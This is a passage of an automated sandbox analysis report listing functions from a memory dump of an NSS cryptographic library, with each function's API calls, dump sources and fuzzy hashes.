Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A5417FB2A402158FCB18CF68DCD179AB7E1BF4431871D466DD84ACBB02E375E891CB91

Function 6C63FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C63FDFE), ref: 6C63FFAD

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C63FDFE), ref: 6C63FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64006F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction ID: 79e68347ddbe3d2b80ff4901abe74d68af5ad0ac8a495f7d8bef17966de0e5f4
Opcode Fuzzy Hash: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction Fuzzy Hash: F341DE71B002299BDB08DFA5E899AAE7775FF4A705F14803DD80693B00DB35A911CBA9

Function 6C727DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C727ED8

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7f0eadcb3e7eaf2cd610507a4b3348d7d9b8bc550013edd262e1bd617d8e30dc
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B831A6B1E001158FD704CF09CE9599AB7A6FF8831471A817ACC585BB12EB75EC45CBE1

Function 6C6DDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6DDBBD), ref: 6C6DDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DDFEE

Part of subcall function 6C6786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678716
Part of subcall function 6C6786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678727
Part of subcall function 6C6786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67873B
Part of subcall function 6C6786D0: PR_Unlock.NSS3(?), ref: 6C67876F
Part of subcall function 6C6786D0: PR_SetError.NSS3(00000000,00000000), ref: 6C678787

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6DDBBD), ref: 6C6DDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6DDBBD), ref: 6C6DE007

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction ID: 08c4237310f54556adf5257dc1d35a89a4244c83728e9675d584c8418cce20b1
Opcode Fuzzy Hash: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction Fuzzy Hash: 3831D7B1A0420157D711AA7ADD84A9B73B89F5530CF060135E909D7B52FB31E918C6FB

Function 6C656C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C656C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C656CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C656CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C778FE0), ref: 6C656CFE

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction ID: 5634ca65450e1953ecc60d883ca59a0d590e03f3b393b1a9f331f98c01907e5d
Opcode Fuzzy Hash: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction Fuzzy Hash: 6C318CB1A002169FEB08CF65C891ABFBBF5EF89348B60452DD905E7710EB31D915CBA4

Function 6C764F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C764F5D
free.MOZGLUE(?), ref: 6C764F74
free.MOZGLUE(?), ref: 6C764F82
GetLastError.KERNEL32 ref: 6C764F90

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction ID: bd66aa84d210bcda55b9139395168e0b33b97f101d16059c4303d1dafbc349a2
Opcode Fuzzy Hash: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction Fuzzy Hash: C3312B75A002095FEB01DFAADD55BDFB3B8FF45358F080235EC15A7B81DB35A9048691

Function 6C6ADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADDF4

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE17

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6ADE80

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c780908c466536dd9534d5c588b753a4bcc7aa869dc61ef339ee04ba1019dcb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7231B6B19017429BE700CF56D880692F7E4FFA5318B24C229DC1D87B41E771F9A6CB94

Function 6C69FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F
PR_Unlock.NSS3(78831D74), ref: 6C69FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C69FED6

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction ID: 83c8d128666619684e21d0b890191e3c085b78aa86dbf18d7be79b70081536c4
Opcode Fuzzy Hash: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction Fuzzy Hash: 22212331A00626BBDB109F65E844BAA73B4FF05358F1A0134ED04A7E42E731E965CBDA

Function 6C6A3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FFE
PR_SetError.NSS3 ref: 6C6A401A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction ID: ac442ebf1e6d5198cc2d2af51020ab2fa5031f457a3815c022b71a7e7adbede8
Opcode Fuzzy Hash: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction Fuzzy Hash: 673180705047048FD700AFAAD5846AEBBF0FF89354F11592ED98987B00EB70E885CB9A

Function 6C694FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695064

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction ID: 89d850ee75987e8177842cf50450b4f4b27b73f9720fba99185998acb81b7894
Opcode Fuzzy Hash: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction Fuzzy Hash: DB3127B0A05606DFDB00EF68C484A6ABBF4FF09345F118669E859D7700E731E890CB95

Function 6C6B9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BA71A,FFFFFFFF,?,?), ref: 6C6B9FAB

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6B9FD9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA009
PR_SetError.NSS3(FFFFE013,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA045

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 73f1f97476c8ea0932abe1c620dde10c51f275a44536d345374d98b861648c8c
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 6521C6B4600206ABF7009F15DC50F66B7A9FF9535CF10C128D82997B82FB76E828CB94

Function 6C6C2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C2E08

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C6C2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6C2E95

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a51d854b2c2187627cc4bf75380a88774b15328c879bb4e2fa4f2b81387d0eaa
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: F621D4B1E003455BE700CF549D44BAA3764AF9630CF111269DD087B752F7B1E69983AA

Function 6C67ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67ACC2

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C652AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C650A1B,00000000), ref: 6C652AF0
Part of subcall function 6C652AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C652B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C67AD5E

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

CERT_DestroyCertList.NSS3(?), ref: 6C67AD36

Part of subcall function 6C652F50: CERT_DestroyCertificate.NSS3(?), ref: 6C652F65
Part of subcall function 6C652F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C652F83

free.MOZGLUE(?), ref: 6C67AD4F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
